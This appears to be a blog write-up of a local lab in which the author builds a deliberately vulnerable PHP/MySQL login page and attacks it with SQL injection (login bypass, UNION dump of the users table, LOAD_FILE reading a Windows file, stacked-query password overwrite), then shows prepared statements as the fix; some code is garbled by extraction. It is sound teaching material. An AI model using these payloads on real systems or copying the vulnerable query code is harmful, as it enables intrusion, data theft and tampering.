Demonstrating Basic SQL Injection Vulnerabilities thumbnail

Demonstrating Basic SQL Injection Vulnerabilities

⏱ approx. 4 min views 488 likes 2 LOG_DATE:2025-11-10
TOC

Overview #

This experiment demonstrates SQL injection (SQLi) vulnerabilities and the corresponding defenses.

I build an intentionally vulnerable web application (PHP/MySQL) on a local environment (XAMPP on Windows) and simulate SQL injection attacks against it.

I close with an analysis of why these attacks worked and the foundational fix (placeholders / prepared statements).# What we'll do

The experiment proceeds in steps:

  • 1. Authentication bypass: manipulate SQL logic to log in without a password.
  • 2. Data exfiltration: abuse the UNION operator to read every row in the database.
  • 3. File disclosure: abuse LOAD_FILE() to read local files on the server.
  • 4. Database tampering: abuse stacked queries to modify database values.

1. Building the environment #

  • OS: Windows 11
  • Server: XAMPP (Apache, MariaDB / MySQL)
  • Vulnerable application: the PHP scripts below; database test_db with a users table.
# Connect to the database
PS C:\xampp\mysql\bin> .\mysql.exe -u root

# Create the test_db database
MariaDB [(none)]> CREATE DATABASE test_db;

# Create the users table
MariaDB [(none)]> USE test_db;
MariaDB [test_db]> CREATE TABLE users ( -> id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, -> username VARCHAR(50) NOT NULL, -> password VARCHAR(50) NOT NULL -> );

# Verify the structure
MariaDB [test_db]> DESC users;

# Insert admin and user
MariaDB [test_db]> INSERT INTO users (username, password) VALUES -> ('admin', 'password123'), -> ('user', 'pass');

# Final verification
MariaDB [test_db]> SELECT * FROM users;
+----+----------+-------------+
| id | username | password    |
+----+----------+-------------+
|  1 | admin    | password123 |
|  2 | user     | pass        |
+----+----------+-------------+



2. Experiment 1: authentication bypass #

Goal: without knowing the password, manipulate the WHERE clause's logic so it always evaluates to true, and bypass the login.

Files involved #

  • index.html (login form)

<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login form (vulnerable example)</title>
</head>
<body>
    <h2>Login</h2>
    <form action="spli1.php" method="POST">
        <div>
            <label for="username">Username:</label>
            <input type="text" id="username" name="username">
        </div>
        <div>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password">
        </div>
        <button type="submit">Sign in</button>
    </form>
</body>
</html>

img0
15. `spli1.php` (vulnerable login handler) ``` connect_error) { die("Connection failed: " . $conn->connect_error); } $sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; echo "

Query that was about to run:

"; echo "$sql
"; $result = $conn->query($sql); if ($result && $result->num_rows > 0) { echo "

Login success #

"; echo "

Welcome, " . htmlspecialchars($user, ENT_QUOTES, 'UTF-8') . ".

"; } else { echo "

Login failed #

"; echo "

Wrong username or password.

"; } $conn->close(); ?>

## Payload

Enter the following in the username and password fields:

Username: admin Password: ' OR '1'='1


## Resulting SQL

After PHP assembles the query, the SQL ends up like this:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'


## Result and explanation

In MySQL `OR` has lower precedence than `AND`, so the SQL is parsed as `(username = 'admin' AND password = '')` OR `('1'='1')`.

The first half is false, but the second half — `'1'='1'` — is always true, so the whole `WHERE` clause is true. As a result, `$result->num_rows > 0` is satisfied in `spli1.php`, and "Login success" is shown.

<div class="zoomable-image-container"><img src="/images/posts/experiments/post05/1.png" alt="img1"></div>---

# 3. Experiment 2: reading data and reading files from disk

**Goal:** use the `UNION` operator and the `LOAD_FILE()` function to extract data from the database and read files off the server.

## Files involved

- `index.html`

action="spli1.php" method="POST" changed to action="spli2.php" method="POST"

33. `spli2.php` (renders results as a table)
connect_error) { die("Connection failed: " . $conn->connect_error); } $sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; echo "

Query that was about to run:

"; echo "" . htmlspecialchars($sql, ENT_QUOTES, 'UTF-8') . "
"; $result = $conn->query($sql); if ($result && $result->num_rows > 0) { echo "

Login success #

"; echo "

--- Data retrieved from the database ---

"; echo ""; $fields = $result->fetch_fields(); echo ""; foreach ($fields as $field) { echo ""; } echo ""; $result->data_seek(0); while ($row = $result->fetch_assoc()) { echo ""; foreach ($row as $data) { echo ""; } echo ""; } echo "
" . htmlspecialchars($field->name) . "
" . htmlspecialchars($data, ENT_QUOTES, 'UTF-8') . "
"; } else { echo "

Login failed #

"; echo "

Wrong username or password.

"; } $conn->close(); ?>

Note: unlike `spli1.php`, `spli2.php` renders every retrieved row as a table.

## A normal login

Enter the following:

Username: admin Password: password123


### Result

<div class="zoomable-image-container"><img src="/images/posts/experiments/post05/2.png" alt="img2"></div>The login succeeds and only the admin user's row is displayed.

## Payload (data exfiltration)

Enter the following:

Username: ' UNION SELECT id, username, password FROM users # Password: hoge (whatever)


## Resulting SQL

After PHP assembles the query:

SELECT * FROM users WHERE username = '' UNION SELECT id, username, password FROM users #' AND password = 'a'


## Result and explanation

The first `SELECT` returns no rows, but the `UNION`'d `SELECT ... FROM users` runs. The trailing `#` (comment) prevents the leftover `AND password = 'a'` from causing a syntax error. The full contents of the `users` table — both `admin` and `user` — show up on screen.

<div class="zoomable-image-container"><img src="/images/posts/experiments/post05/3.png" alt="img3"></div>## Payload (file disclosure)

Enter the following:

Username: ' UNION SELECT 1, LOAD_FILE('C:/Windows/win.ini'), 3 # Password: hoge (whatever)


## Resulting SQL

SELECT * FROM users WHERE username = '' UNION SELECT 1, LOAD_FILE('C:/Windows/win.ini'), 3 #' AND password = 'hoge'


## Result and explanation

The dummy `1` and `3` are present so the `UNION` matches the original column count (3). `LOAD_FILE()` runs in the position of the `username` column and returns the contents of `C:/Windows/win.ini` from the server (the XAMPP host) — which gets rendered straight into the page.

<div class="zoomable-image-container"><img src="/images/posts/experiments/post05/4.png" alt="img4"></div>---

# 4. Experiment 3: tampering with the database

**Goal:** abuse stacked queries (multiple statements) to perform an unauthorized `UPDATE` on the database.

## Files involved

- `index.html`

action="spli2.php" method="POST" changed to action="spli3.php" method="POST"

66. `spli3.php` (uses the dangerous `multi_query()`)
connect_error) { die("Connection failed: " . $conn->connect_error); } $user = $_POST['username']; $pass = $_POST['password']; $sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; echo "" . htmlspecialchars($sql, ENT_QUOTES, 'UTF-8') . "
"; if ($conn->multi_query($sql)) { do { if ($res = $conn->store_result()) { $res->free(); } } while ($conn->more_results() && $conn->next_result()); if ($conn->affected_rows > 0) { echo "

Login success.

"; } else { echo "

Login failed.

"; } } else { echo "

Query failed: " . $conn->error . "

"; } $conn->close(); ?>

Note: `spli3.php` deliberately uses `multi_query()` instead of `query()` — `multi_query()` permits multiple statements in a single call.

## Payload

Enter the following:

Username: ' ; UPDATE users SET password = 'hacked' WHERE username = 'admin' # Password: hoge (whatever)


## Resulting SQL

SELECT * FROM users WHERE username = '' ; UPDATE users SET password = 'hacked' WHERE username = 'admin' #' AND password = 'a'


## Result and explanation

Because `multi_query()` is in play, the two statements separated by `;` (a `SELECT` and an `UPDATE`) both run in sequence. `spli3.php` checks `affected_rows`; the `UPDATE` succeeded and affected one row, so the page reports "Login success."

A quick check from the MySQL console (`SELECT * FROM users;`) confirms it: `admin`'s password has been changed to `hacked`.

<div class="zoomable-image-container"><img src="/images/posts/experiments/post05/5.png" alt="img5"></div><div class="zoomable-image-container">・Before tampering

 ![img6](/images/posts/experiments/post05/6.png) </div><div class="zoomable-image-container">・After tampering

 ![img7](/images/posts/experiments/post05/7.png) </div>---

# 5. Defenses and analysis

## How to defend

The root cause shared by every attack above is "**user input was concatenated directly into the SQL string**."

The most powerful and fundamental defense is to use **placeholders** with **prepared statements**.

The idea is to send the SQL "command" (`SELECT`, etc.) and the "values" (`admin`, etc.) to the database as separate things.

### Safe code (PHP / mysqli)

// 1. SQL template (replace value positions with ?) $sql = "SELECT * FROM users WHERE username = ? AND password = ?";

// 2. Prepare the statement $stmt = $conn->prepare($sql);

// 3. "Bind" the values (declaring their types) // "ss" means string, string $stmt->bind_param("ss", $user, $pass);

// 4. Execute $stmt->execute();

// 5. Fetch results $result = $stmt->get_result();


With this approach, even if a user types `' OR '1'='1` into the username field, the database treats it as a username consisting of the literal string `' OR '1'='1` — not as part of the SQL command. Every SQL injection attack above fails immediately.

## Reflections and analysis

**Reflections:**
 It's striking how much can fan out from just a few lines of vulnerable code in something like `sqli.php` — authentication bypass, data exfiltration, file reads, even data tampering. In particular, stacked queries blocked by `query()` become possible just by switching to `multi_query()` — which made it concrete to me how much your security posture can hinge on a single function choice.

**Analysis (from a security perspective):**
 This experiment makes the **"never trust user input"** principle concrete. It also makes it clear that XSS-focused defenses like `htmlspecialchars()` do nothing against SQL injection. As a developer, the habit to internalize is: **always use prepared statements (placeholders)**, and use the security features your framework provides correctly.

</body></html>

COMMENTS 3

七嶋
すごー
あいう
こんにちは
七嶋 @dLZ3dcIgvd
どもー

Post a comment